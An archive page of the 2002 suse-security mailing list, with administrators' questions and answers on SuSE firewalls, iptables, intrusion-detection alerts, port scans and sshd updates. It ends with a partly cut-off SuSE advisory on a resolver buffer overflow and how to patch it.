Hi folks, if you are inclined, you could try preliminay Apache security update packages for the mod_ssl off-by-one buffer overflow at ftp://ftp.suse.com/pub/people/poeml/7.0/ ftp://ftp.suse.com/pub/people/poeml/7.1/ ftp://ftp.suse.com/pub/people/poeml/7.2/ ftp://ftp.suse.com/pub/people/poeml/7.3/ ftp://ftp.suse.com/pub/people/poeml/8.0/ Especially, you'll find the module packages as well. I'm saying "try them" because we have changed the dependency handling and did some clean up in the old packages, hoping to increase consistency. The apache packages now provide a cookie indicating the API version (which does not change with each apache release). I would appreciate any feedback, especially with regard to the package dependency issues. Please note: - The changelog is only in the source rpm. - No packages other than i386 right now. - Look for the timestamps, they coincide suspiciously with this mail. This command is helpful to determine the installed apache module packages: rpm -qa | egrep \ 'authldap|midgard|modcontr|apache-contrib|backhand|jserv|mod_(php|php4|python|perl|dav|ssl)' Thanks, Peter -- VFS: Busy inodes after unmount. Self-destruct in 5 seconds. Have a nice day...

1 0

SuSE personal firewall in 7.3
by Richard Farla 19 Jul '02

19 Jul '02

Greetings all, As newbie and not well know in Linux I use SuSE 7.3 prof. with SuSE personal Firewall. From the, by me, well know Windows-os I use severall firewalls on different pc's. What strikes me is that I have on these Windows-machines allways a easy to read logfile of the firewall. This is something I cannot find on my Linux-machine. I went thru severall logfiles but cannot find anything that says something like : access denied, blocked, refused .... together with ip-addresses and so on. Is their any logfile kept by this personal firewall of SuSE 7.3 and is their, where to look exactly ? Is their also a way to filter out these info. Rits

2 1

Re: [suse-security] Deploy SuSE network infrastructure
by GentooRulez 19 Jul '02

19 Jul '02

>Hi, > I'm Fabrizio and my target is to deploy serveral services on a network of >windows client. >The service ara: >-SMTP>-IMAP>-Samba>-DHCP > >and a authentication service in a network of a windows client. > >My question is: > >What the best authentication infrastructure can I deploy with a SuSE 8.0 >server? >The best is: > > >passwd flat file pam > most fast, hard to implement failover. > >NIS > SuSE YAST config, most Info manage(home etc..), failover, no secure > >Kerberos > No SuSE YAST config, someone tell me strong security, failover. > >LDAP > no useradd or manage application, hard to deploy, secure?? I think no, >not build to make auth, YAST config, failover Me would suggest, the check LDAP again. There are web interfaces for managing it and a lot of docs that describe the coop with samba and other services !!! To secure it check bugs on secorityfocus and so on. btw - what secure are the network transmissions in your windows network - ssl based ? :O) If you want to have a more fast solution without any work, try to click some services on w2k and look goes on ? :O) Yours Michael

2 1

Konqueror
by arawak 19 Jul '02

19 Jul '02

Is it possible to protect your anonymity when browsing on the internet while using Konqueror? Dre Luck is my game ;-) Linux is my aim :)

3 2

Deploy SuSE network infrastructure
by Fabrizio Fabbri 18 Jul '02

18 Jul '02

Hi, I'm Fabrizio and my target is to deploy serveral services on a network of windows client. The service ara: -SMTP -IMAP -Samba -DHCP -... and a authentication service in a network of a windows client. My question is: What the best authentication infrastructure can I deploy with a SuSE 8.0 server? The best is: secure. failover standard SuSE rpm packet, no time to ./compile or config. services integration(with SAMBA SMTP(sendmail) etc..) client friendly with Manage application( YAST2 www application) fast to deploy remote monitor I've valuate some: passwd flat file pam most fast, hard to implement failover. NIS SuSE YAST config, most Info manage(home etc..), failover, no secure Kerberos No SuSE YAST config, someone tell me strong security, failover. LDAP no useradd or manage application, hard to deploy, secure?? I think no, not build to make auth, YAST config, failover What? Can SNMP help me to remote control? HOW? P.S. Sorry for my English. thanks bix

1 0

Re: [suse-security] IDS goes off at /etc
by GentooRulez 18 Jul '02

18 Jul '02

Am 18.07.2002 13:02:32, schrieb Roman Drahtmueller <draht(a)suse.de>: >> Maybe that will be your final solution: >> >> I did following: >> >> google: file hook linux >> >> and got that: >> >> http://www.sysinternals.com/linux/utilities/filemon.shtml >> >> Let me now wether it meet your needs. >> >> Huhu, they wrote that stuff using kylix, so i'll be able to patch it >> down to console if it necessary. > > >I don't think so. It has a few problems: > >1) the license >2) the availiability of the source code >3) the fact that it comes along with a kernel module that sets function > pointers to its own functions to intercept the system calls. This > kernel module can't run reliably. > >We wouldn't ship it, no chance. > It was not the intention, to add it to suse-distri, but the proposal to solve the problem of this discussion for matthias.riese :O) Michael

1 0

Re: [suse-security] IDS goes off at /etc
by GentooRulez 18 Jul '02

18 Jul '02

>> > and it should not be popper. So offer a wider range of the log prior to >> > 22:04, cauze - as roman wrote - e.g. >> > a mount cmd ends up with such modified [c|m]times. >> >> The rest of the log around that time +-1 hour also just consists of >> qrunner and popper log entries, dropped packages from the firewall >> and: >> >> Jul 16 21:59:00 p15089763 /USR/SBIN/CRON[14347]: (root) CMD ( rm -f /var/spool/cron/lastrun/cron.hourly) >> Jul 16 22:59:00 p15089763 /USR/SBIN/CRON[14612]: (root) CMD ( rm -f /var/spool/cron/lastrun/cron.hourly) >> >> There have been definitely NO mounts or umounts. At least not >> regularly each day. Except if any SuSE cron job mounts and umounts >> something regularly? > > >Turn on "fascist" logging, eg allmessages (line in syslog.conf). It could >as well be some mail triggering this, depending on the sickness of some >software (that wouldn't work with ro-mounted /etc). Check _all_ syslogs >from that time. Check if you have an automounter running. At last, use the >tmpwatch package (temp-watch -d /etc) to check, it's more like winning a >race if you want to see something, but still. (Hint for winning the race: >Do "renice -15 $$" as root and _then_ run the temp-watch program. Box gets >sluggish then, of course.) The tool isn't really that smart... > >> Matthias Riese > >Roman. Maybe that will be your final solution: I did following: google: file hook linux and got that: http://www.sysinternals.com/linux/utilities/filemon.shtml Let me now wether it meet your needs. Huhu, they wrote that stuff using kylix, so i'll be able to patch it down to console if it necessary. Michael

2 1

RE: [suse-security] URGENT: SuSE 8.0 freezes when using iptables..
by Andreas Marbet 18 Jul '02

18 Jul '02

> > The reason why I would like to get SuSEfirewall to work is to setup a > firewall without having to learn all about iptables - I'm a > programmer not a > sysadm and just need a setup to protect our office computers. You could try shorewall (www.shorewall.net) as well. This firewall is IMHO much more flexible than SuSEfirewall2 and has a lot of good documentation, but you have to spend a little more time for configuring it. I have it working perfectly here on SuSE 8.0. Andreas

1 0

Port-forwarding
by Z_God 17 Jul '02

17 Jul '02

What is the best way to forward TCP and UDP ports from one computer to another? I have only one ip adress and I want to use programs like WinMX, that require an incomming port, on different computers behind my firewall. I'm using SuSE Linux 7.3 with SuSEfirewall2. Thanks in advance.

3 3

Re: [suse-security] IDS goes off at /etc
by GentooRulez 17 Jul '02

17 Jul '02

>What you have seen is most likely a result of a mount command creating a >temporary file named /etc/mtabXXX (XXXX is arbitrary) when /etc/mtab is >changed. This changes the mtime of the directory inode. >> Charles >> >Roman. and the ctime, too. Did a short test for myself. What exactly says /var/log/messages comes up e.g. at 22:05, charles ? Michael

2 1

IDS goes off at /etc
by Matthias Riese 17 Jul '02

17 Jul '02

Hi, Does anybody know what makes my IDS (tripwire) go off at /etc each other day? No changes otherwise. Just the directory /etc being modified. I suppose something creates and removes again a file in /etc regularly, but can't figure out what it is. changed: drwxr-xr-x root 4096 Jul 16 22:05:13 2002 /etc ... ### Attr Observed (what it is) Expected (what it should be) ### =========== ============================= ============================= /etc st_mtime: Tue Jul 16 22:05:13 2002 Sat Jul 13 11:16:03 2002 st_ctime: Tue Jul 16 22:05:13 2002 Sat Jul 13 11:16:03 2002 Best regards from Bremen, Mit freundlichen Grüßen aus Bremen, Matthias Riese

4 4

RE: [suse-security] Problem with PSH flag?
by Reckhard, Tobias 17 Jul '02

17 Jul '02

> It seems to me the PSH flag makes iptables drop the packet. But should > > iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT > > not take care of all response packets? > > Amazingly, all connections seem to work well. But I'd like to have a > completely proper packet filter. So, could anyone here wave the clue > stick in my general direction? The PSH bit definitely doesn't cause netfilter to drop packets unless you tell it to. In fact, were that the case, you couldn't use it to firewall Winblows machines, since the MS stack sets the PSH stack on (just about) all TCP segments by default, apparently. It could very well be that Linux exhibits the same behaviour. If that's your rule 12 up there (or rather, a mimic of rule 12 with an ACCEPT instead of a LOG target), then it could be that the session has been dropped from the connection table, i.e. conntrack has seen the FIN/ACK handshake or perhaps enough of it to purge the corresponding table entry, and that the remote host has then sent another packet. You'd need a (more or less) full session dump to verify that. Cya Tobias

1 0

Problem with PSH flag?
by Jochen Lillich 17 Jul '02

17 Jul '02

Hi! I configured iptables with state handling. Now I get DROP log entries like the following: Jul 17 12:20:08 lnxsrv2 kernel: RULE 12 -- DROP IN=ippp0 OUT= MAC= SRC=205.181.113.142 DST=217.4.5.161 LEN=1500 TOS=0x00 PREC=0x00 TTL=238 ID=34130 DF PROTO=TCP SPT=80 DPT=32792 SEQ=2507347035 ACK=565321722 WINDOW=10220 RES=0x00 ACK PSH URGP=0 It seems to me the PSH flag makes iptables drop the packet. But should iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT not take care of all response packets? Amazingly, all connections seem to work well. But I'd like to have a completely proper packet filter. So, could anyone here wave the clue stick in my general direction? TIA, Jochen -- ---------------------------------------------------------------- *Jochen Lillich*, Dipl.-Inform. (FH) Consultant/Trainer @ /TeamLinux GbR/ Tel. +49 7254 985187-0 http://www.teamlinux.de ----------------------------------------------------------------

1 0

AW: [suse-security] URGENT: SuSE 8.0 freezes when using iptables ..
by Schoenwaelder Oliver 17 Jul '02

17 Jul '02

Hi Christian, I just set up a SuSE8 system with SuSE-FW2 and FreeS/WAN 1.96 from scratch. No problems at all. I also tried ftp from internal and external network. Maybe you try with a self-made kernel. Hth, Oliver Schoenwaelder -----Ursprüngliche Nachricht----- Von: Christian Bjørnbak [mailto:cb@touristonline.dk] Gesendet: Mittwoch, 17. Juli 2002 09:36 An: suse-security(a)suse.com Betreff: Re: [suse-security] URGENT: SuSE 8.0 freezes when using iptables.. I have now tried a minimum firewall setup from the Iptables tutorial from www.iptables.org (http://www.iptables.org/documentation/tutorials/blueflux/) It works!!! I have tried to disable ip_conntrack_ftp from /sbin/SuSEfirewall2 by commenting it out the modprobe. But the server still crashes.. I have also tried to copy all of the modprobe's from the tutorial into /sbin/SuSEfirewall2 - No change! The reason why I would like to get SuSEfirewall to work is to setup a firewall without having to learn all about iptables - I'm a programmer not a sysadm and just need a setup to protect our office computers. Does anyone now a good step by step guide: Howto setup iptables firewall with VPN gateway??? /Christian Bjørnbak On Sunday 14 July 2002 14:35, you wrote: > Hi There, > > At 13:27 14/07/2002 +0200, you wrote: > >After the upgrade when using some protocols like ftp the server > >freezes and the caps lock and scroll lock LED's on the keyboard > >blinks. > > IIRC this indicates a Kernel Panic and the machine is now unusable. > You could try stopping the FTP Conntrack agent (should be > /lib/modules/2.4.18-4GB/kernel/net/ipv4/netfilter/ip_conntrack_ftp.o) > from being loaded with the firewall on a temporary basis but it would > mean no FTP sessions would survive - though Passive FTP should be > handled by the default Related/Established rules. Was the upgrade a > fresh install or an over-install to update the 7.2 installation to > 8.0? If the latter there's a chance that some older libraries are on > the system due to 8.0 having a different directory structure and they > are causing the problem. > > Sorry I can't help more - good luck :) > > Matt Palmer. -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

1 0

Re: [suse-security] URGENT: SuSE 8.0 freezes when using iptables..
by Christian Bjørnbak 17 Jul '02

17 Jul '02

I have now tried a minimum firewall setup from the Iptables tutorial from www.iptables.org (http://www.iptables.org/documentation/tutorials/blueflux/) It works!!! I have tried to disable ip_conntrack_ftp from /sbin/SuSEfirewall2 by commenting it out the modprobe. But the server still crashes.. I have also tried to copy all of the modprobe's from the tutorial into /sbin/SuSEfirewall2 - No change! The reason why I would like to get SuSEfirewall to work is to setup a firewall without having to learn all about iptables - I'm a programmer not a sysadm and just need a setup to protect our office computers. Does anyone now a good step by step guide: Howto setup iptables firewall with VPN gateway??? /Christian Bjørnbak On Sunday 14 July 2002 14:35, you wrote: > Hi There, > > At 13:27 14/07/2002 +0200, you wrote: > >After the upgrade when using some protocols like ftp the server freezes > >and the caps lock and scroll lock LED's on the keyboard blinks. > > IIRC this indicates a Kernel Panic and the machine is now unusable. You > could try stopping the FTP Conntrack agent (should be > /lib/modules/2.4.18-4GB/kernel/net/ipv4/netfilter/ip_conntrack_ftp.o) from > being loaded with the firewall on a temporary basis but it would mean no > FTP sessions would survive - though Passive FTP should be handled by the > default Related/Established rules. Was the upgrade a fresh install or an > over-install to update the 7.2 installation to 8.0? If the latter there's > a chance that some older libraries are on the system due to 8.0 having a > different directory structure and they are causing the problem. > > Sorry I can't help more - good luck :) > > Matt Palmer.

1 0

bind packages
by Chad Whitten 16 Jul '02

16 Jul '02

are the bind-8.2.4 packages on ftp.suse.com/pub/suse/update/7.3/n2 patched against the vulnerability listed here http://www.isc.org/products/BIND/bind-security.html specifically the libbind bug? -- Chad Whitten Network/Systems Administrator neXband Communications cwhitten(a)nexband.com

3 2

SuSE Patch: mod_ssl off by one
by Lee Leahu 16 Jul '02

16 Jul '02

Does anyone know if SuSE has released or will release a patch to fix the mod_ssl off by one problem?

1 0

RE: [suse-security] TCP port 113
by oliver.z 16 Jul '02

16 Jul '02

Hey Marc 1st to output of netstat: linux2:/var/log # netstat -ltnp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 737/httpd tcp 0 0 :::22 :::* LISTEN 720/sshd linux2:/var/log # and the nmap output from another machine: linux1:/home/labuser # nmap -sS 10.51.103.115 Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) Interesting ports on (10.51.103.115): (The 1545 ports scanned but not shown below are in state: filtered) Port State Service 22/tcp open ssh 80/tcp open http 113/tcp closed auth 443/tcp closed https Nmap run completed -- 1 IP address (1 host up) scanned in 160 seconds linux1:/home/labuser # How I turn of this tcp port 113? thnxs Oliver >===== Original Message From "Herbrechter, Marc" <mh(a)logotec-it.de> ===== >oliver.z wrote: >> could anyone explain me why I get different results when I >> doing nmap -sS <ip> >> from a remote site to my system and when I do nmap -sS >> localhost on my system? > >You are running a packet filter, so you should know. > >> From remote site I get results with a closed tcp port 113, >> with nmap with localhost not. > >"Not" what? "Not" closed, "not" opened? >What does ´netstat -ltnp´ say? > >> And of course, why respond the system to tcp port 113, even >> if inetd is not startet? > >Port 113 is the identd. It is not fired up by inetd in most >cases. > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com >Security-related bug reports go to security(a)suse.de, not here

3 3

RE: Re: [suse-security] Advanded (?) Routing Problem
by christian.burri＠synecta.ch 16 Jul '02

16 Jul '02

The security relevance might be that some company policies require redundant internet connections, should one ever go down. A solution to the problem would be to use iproute2 for "source based routing" (http://www.tldp.org/HOWTO/IP-Masquerade-HOWTO/iproute2.html) HTH Chris > > has anyone of you ever used 2 Internet-Connections at the same time ? > I do not see the security relevance here. Best you find a more > apropriate list. > > Peter

1 0

suse 7.2 + yast2 online update
by christian.burri＠synecta.ch 16 Jul '02

16 Jul '02

Dear List, Im running a SuSE 7.2 box here, and I've been trying to run yast2 today, in order to apply pending patches and updates. This doesnt work out, however: Yast2 will download 5% of the glibc-1684 patch packages, and then simply stops downloading. Just sits there and does nothing at all. Its reproducible too, just hitting ctrl-c and restarting yast2 doesnt fix this. What could be the cause? - "screenshot": lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk xlqqqqqqqqqqqqqqqqqqqqk Connection and Data transfer x xxAfter connecting to x Connected to Status of connection x xxSuSE server, YaST2 x ftp.suse.com active x xxwill download all x x xxselected patches. x Total progress x xxThis could take somex aaaaaaaaaaaaaaaaaaaaaaaa5%aaaaaaaaaaaaaaaaaaaaaaaaa x xxtime. Several x lInformation about the activitiesqqqqqqqqqqqqqqqqqqqk x xxdetails are shown. x xStarting download of selected patches from ftp.susex x xx x xConnected x x xxThe fields above x xGet packages for patch glibc-1684 x x xxshow information x xPackage /var/lib/YaST/patches/i386/update/7.2/a1/glx x xxabout the connectionx xPackage /var/lib/YaST/patches/i386/update/7.2/d1/glx x xxand time of data x x x x xxtransfer. The box x x x x xxbelow displays data x x x x xxfrom ftp log file. x x x x xxIf something goes x x x x xxwrong, please check x x x x xxthis source of x x x x xxinformation. v mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq>j x TIA Chr. Burri

1 0

Noch einer
by Michael Zimmermann 16 Jul '02

16 Jul '02

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://www.ntk.net/2002/07/12/yahoo.txt - -- Michael Zimmermann (Vegaa Safety and Security for Internet Services) <zim(a)vegaa.de> phone +49 89 6283 7632 hotline +49 163 823 1195 Key fingerprint = 1E47 7B99 A9D3 698D 7E35 9BB5 EF6B EEDB 696D 5811 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9NBZc72vu22ltWBERAvb1AJ9kE7nP1v7K1XxFL+Ve2NEoUFxEwQCfVDhO HudwNpRue3G9NtLM0hzYtHw= =yMSZ -----END PGP SIGNATURE-----

1 1

RE: [suse-security] TCP port 113
by Herbrechter, Marc 16 Jul '02

16 Jul '02

oliver.z wrote: > ya-indeed the port is in reject mode, ok thats fine. It is not. > But, I don't use ftp, sendmail and so on, only http and ssh. So why do you want to protect the other ports? > From my sight, tcp port 113 should not appaer in any scan! > Is there a way to do that? Turn off the "firewall". You do not need it.

1 0

RE: [suse-security] TCP port 113
by oliver.z 16 Jul '02

16 Jul '02

Hey ya-indeed the port is in reject mode, ok thats fine. But, I don't use ftp, sendmail and so on, only http and ssh. >From my sight, tcp port 113 should not appaer in any scan! Is there a way to do that? oliver >===== Original Message From Daniel Lord <d_lord(a)gmx.de> ===== >Hi, > >The Port 113/tcp _is_ closed!!! >The Firewall Rule for port 113 is IMHO REJECT not DROP. >To avoide long timeouts for ftp. > >try something like ip[tables|chains] -L -n | grep 113 > >Greetings Daniel > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com >Security-related bug reports go to security(a)suse.de, not here

2 1

Advanded (?) Routing Problem
by sc＠optomed.de 16 Jul '02

16 Jul '02

hello list, has anyone of you ever used 2 Internet-Connections at the same time ? well, want to use 2 DSL Connections parallel (one with static IP), while the second Line should transfer Port 80 Traffic only (Flatrate). The Problem is; using iptables, i can redirect Port 80 Traffic to my eth3, but i only have one default-route at the end....? iNet DSL static 212. | | DSL Flat | | eth1 | | eth3 ------Router------- | | | | LAN eth0 | | eth2 DMZ at this time, i can only route all traffic either over eth1 or eth3 through changing route (route del default gw 212./add default gw 217), but thats not so satisfiying... i got in mind: route ?? using squid ??......any hints are welcome, thx Andreas

2 1

secumod?
by oliver.z 16 Jul '02

16 Jul '02

Hello it is unbelivable, but I can't find any download source for secumod... I greatly appreciate any info thanks Oliver

1 0

SuSE daily security: af_packet
by M. Neubert 16 Jul '02

16 Jul '02

Hello, can anyone explain me this event in SuSE daily security output: ---cut--- OLD: /var/lib/secchk/security-report-daily Fri Jul 12 00:00:06 2002 NEW: /var/lib/secchk/security-report-daily.new Sat Jul 13 00:00:05 2002 * Changes (+: new entries, -: removed entries): + af_packet ---cut--- I have found only the same question, but no answer. http://lists.suse.com/archive/suse-security/2001-Nov/0188.html I don't have any critical entry arround this time above in my logfiles. Thanks & Regards Mario

2 1

SuSEFirewall2 and DNS, def Route
by Mario Ohnewald 16 Jul '02

16 Jul '02

Hello Sec-Experts! ;) I have SuSE7.3 (uptodate) with 3 Interfaces. Everything runs smothly! But after some time, the Firewall-PC can not reach the Externam Network anymore, but the - ppp0 is up - ip is ok - DNS is correct - routing table fine The Clients behind the Firewall can still ping and surf the web and everything! Look like the Firewall changes something oversudden. The logs look ok. I just have a bunch of these logs, where can i disable the logging of this entries (kinda different subject ;)? Jul 16 09:01:15 linux pppd[23519]: rcvd [LCP EchoRep id=0xd magic=0x464f146b] Jul 16 09:01:35 linux pppd[23519]: sent [LCP EchoReq id=0xe magic=0x463697ea] Jul 16 09:01:35 linux pppd[23519]: rcvd [LCP EchoRep id=0xe magic=0x464f146b] Jul 16 09:01:55 linux pppd[23519]: sent [LCP EchoReq id=0xf magic=0x463697ea] Jul 16 09:01:55 linux pppd[23519]: rcvd [LCP EchoRep id=0xf magic=0x464f146b] Jul 16 09:02:15 linux pppd[23519]: sent [LCP EchoReq id=0x10 magic=0x463697ea] Thanks a lot! Mario

2 2

URGENT: SuSE 8.0 freezes when using iptables..
by Christian Bjørnbak 16 Jul '02

16 Jul '02

Hi I just upgraded a server running SuSE 7.2 (kernel 2.4.16, SuSEFirewall(=ipchains)) to SuSE 8.0 (kernel 2.4.18, SuSEFirewall2(=iptables)).. The inside nic is a Intel ethernet card and the outside nic is a IBM olympic token ring card. The server is running as a internet gateway, router with masqurading and firewall. After the upgrade when using some protocols like ftp the server freezes and the caps lock and scroll lock LED's on the keyboard blinks. I found out that using wget from the server against a ftp site made the server freeze. Then I tried stopping SuSEFirewall2 and there by removing any routing. Tried wget again - works fine.. Restarting the firewall and wget makes the server freeze... Can iptables make the server freeze like that?? Earlier we had some problems with stability in the token ring drivers in the original kernel of kernel 7.2 (2.4.7). But after upgrading the kernel 2.4.16 the problems disapered. As stated above the ipchains in SuSE 7.2 worked perfectly is the any issues in downgrading the firewall and continue using ipchains? Without conf files (I don't have them at hand before tomorrow) can anyone give me a lead to were the problem might be??? The /var/log/messages doesn't contain any clue. Is there a log file some where or some I need to turn on to get some debug info??? Thanks, Christian Bjørnbak --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com) Version: 6.0.375 / Virus Database: 210 - Release Date: 10-07-2002

3 2

Re: AW: [suse-security] how to check if sshd update was succesful?
by Martin Köhling 16 Jul '02

16 Jul '02

On Mon, 15 Jul 2002, Alex Levit wrote: Hi! > telnet localhost 22 This just returns something like "SSH-2.0-OpenSSH_3.3", but not the complete version string (e.g. "3.3p1-6"); since most SuSE security updates don't change the version (just the release number, as indicated by the -nnn suffix), this doesn't tell us much. (Because of this, a few months ago, an "ssh vulnerability scanner" returned *lots* of false positives on SuSE ssh installations that were actually already fixed...) Cheers, Martin

1 0

RE: [suse-security] SuSEFirewall2 and DNS, def Route
by Peer Stefan 16 Jul '02

16 Jul '02

hi > From: Mario Ohnewald [mailto:mario.ohnewald@gmx.de] > Hello Sec-Experts! ;) > > I have SuSE7.3 (uptodate) with 3 Interfaces. > Everything runs smothly! But after some time, the Firewall-PC > can not reach > the Externam Network anymore, but the > - ppp0 is up > - ip is ok > - DNS is correct > - routing table fine > > The Clients behind the Firewall can still ping and surf the web and > everything! > Look like the Firewall changes something oversudden. The logs look ok. did you try to shut down the firewall and check the connection? didn't the external ip change after, like, 4 hours or so? how can internal clients ping the web when the firewall's lost its connection? can you post some of your firewall-logs for further analysis? perhaps there's a clue to see why your firewall-host has been cut of the internet. what does your syslog say? > [... snip ...] > > Thanks a lot! > > Mario regards, stefan

1 0

TCP port 113
by oliver.z 16 Jul '02

16 Jul '02

Hello could anyone explain me why I get different results when I doing nmap -sS <ip> from a remote site to my system and when I do nmap -sS localhost on my system? >From remote site I get results with a closed tcp port 113, with nmap with localhost not. And of course, why respond the system to tcp port 113, even if inetd is not startet? System: suse 8.0, susefirewall2 I greatly appreciate your feedback Oliver

3 2

RE: [suse-security] TCP port 113
by Herbrechter, Marc 16 Jul '02

16 Jul '02

oliver.z wrote: > could anyone explain me why I get different results when I > doing nmap -sS <ip> > from a remote site to my system and when I do nmap -sS > localhost on my system? You are running a packet filter, so you should know. > From remote site I get results with a closed tcp port 113, > with nmap with localhost not. "Not" what? "Not" closed, "not" opened? What does ´netstat -ltnp´ say? > And of course, why respond the system to tcp port 113, even > if inetd is not startet? Port 113 is the identd. It is not fired up by inetd in most cases.

1 0

how to check if sshd update was succesful?
by Dominik Schwald 16 Jul '02

16 Jul '02

Hi, i updated the sshd on a SuSE 7.2 i386 Machine by installing openssh-2.9.9p2-103.i386.rpm and restarting sshd with echo "rcsshd stop; rcsshd start"|at now + 3 minutes as discribed in SuSE-SA:2002:024. Now i'd like to verify that i got the 'patched version' of sshd running. How can i do that? Thanks, dominik

4 5

RE: [suse-security] Password Encryption
by Alan Rouse 15 Jul '02

15 Jul '02

Tobias wrote: >> Larger salt would be better... 4096 probably is not a large enough >> factor nowadays. LDAP uses 8 to 16 bytes of salt. > >Hmm, you mean it'd be worthwhile to do the math up there? There's no expensive (ie. large integer) math required. You just create a large enough random salt and append it to the password before hashing (which involves simple bit operations, not complicated math). The result is that you will be hashing a slightly larger string. For that little bit of effort by the good guy, we've increased the bad guy's effort by 2^128 (for 16 random 8-bit bytes of salt). A pretty good tradeoff! >Thanks for clearing up some of the misconceptions I may have caused, BTW. >:-) No problem. I get an education every time I read this list, and I'm glad to contribute a tiny morsel in return ;->

1 0

Re: [suse-security] mount sambashare with non-root-user
by Scott Courtney 15 Jul '02

15 Jul '02

On Monday 15 July 2002 05:32 am, Reckhard, Tobias wrote: > Hi > > You wrote: > > BTW, non-root mounts do not have to have the mount point > > owned by the user, > > nor do they have to be in the user's home directory. I do > > user-level mounts > > on my system all the time with neither of these constraints. > > This is entirely true. However, it seems that (at least some versions of) > smbmount enforces this strange behaviour. The mount command doesn't care > about ownership, but smbmount does.. For whatever reason.. Very interesting. I didn't know about this, and I thank you for the enlightenment. I'am taking the liberty of copying this to the list because I'll bet I'm not the only one who didn't know that smbmount's security behavior doesn't exactly mimic a regular mount. Thanks! Scott -- -----------------------+------------------------------------------------------ Scott Courtney | "I don't mind Microsoft making money. I mind them courtney(a)4th.com | having a bad operating system." -- Linus Torvalds http://4th.com/ | ("The Rebel Code," NY Times, 21 February 1999) | PGP Public Key at http://4th.com/keys/courtney.pubkey

1 0

SuSE Security Announcement: Resolver (SuSE-SA:2002:026)
by Olaf Kirch 15 Jul '02

15 Jul '02

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: bind, glibc Announcement-ID: SuSE-SA:2002:026 Date: Tue Jul 09 2002 Affected products: 7.0, 7.1, 7.2, 7.3, 8.0 SuSE Linux Enterprise Server for S/390, SuSE Linux Database Server, SuSE eMail Server III, SuSE Linux Enterprise Server, SuSE Linux Firewall on CD Vulnerability Type: buffer overflow Severity (1-10): 3 SuSE default package: yes Cross References: CERT CA-2002-19; CVE CAN-2002-0651 Content of this advisory: 1) security vulnerability resolved: buffer overflow in dig, host, and nslookup utilities. problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information A vulnerability has been discovered in some resolver library functions. The affected code goes back to the resolver library shipped as part of BIND4; code derived from it has been included in later BIND releases as well as the GNU libc. The bug itself is a buffer overflow that can be triggered if a DNS server sends multiple CNAME records in a DNS response. This bug has been fixed for the gethostbyXXX class of functions in GNU libc in 1999. Unfortunately, there is similar code in the getnetbyXXX functions in recent glibc implementations, and the code is enabled by default. However, these functions are used by very few applications only, such as ifconfig and ifuser, which makes exploits less likely. We will make updated glibc packages available as they have gone through our build system, but without separate announcements. Until glibc patches are available, we recommend that you disable DNS lookups of network names in nsswitch.conf. Simply replace the line containing the tag "networks:" with this line: networks: files In the unlikely event that you've configured any name to network mapping via DNS, make sure you copy this information to /etc/networks. The resolver bug is also present in the libbind library included in BIND. This library is used by utilities from the bindutil package. We are therefore providing security updates for bind8 that address this vulnerability. As communicated previously (1), the SuSE security team is not providing fixes for BIND4 anymore. The bind9 packages shipped by SuSE are not vulnerable. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Apply the updata packages (bindutil, bind8) package using rpm -Fvh bind*.rpm If you are running the BIND name server, you should restart the name server process by issuing rcnamed restart Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. References: (1) http://www.suse.de/de/support/security/adv004_ssh.html ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - There is a format string bug in the "nn" news reader that can be exploited by a malicious NNTP server to execute arbitrary commands within the client user's account. We will be releasing updated packages. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de) the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an uninstalled rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the toplevel directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party 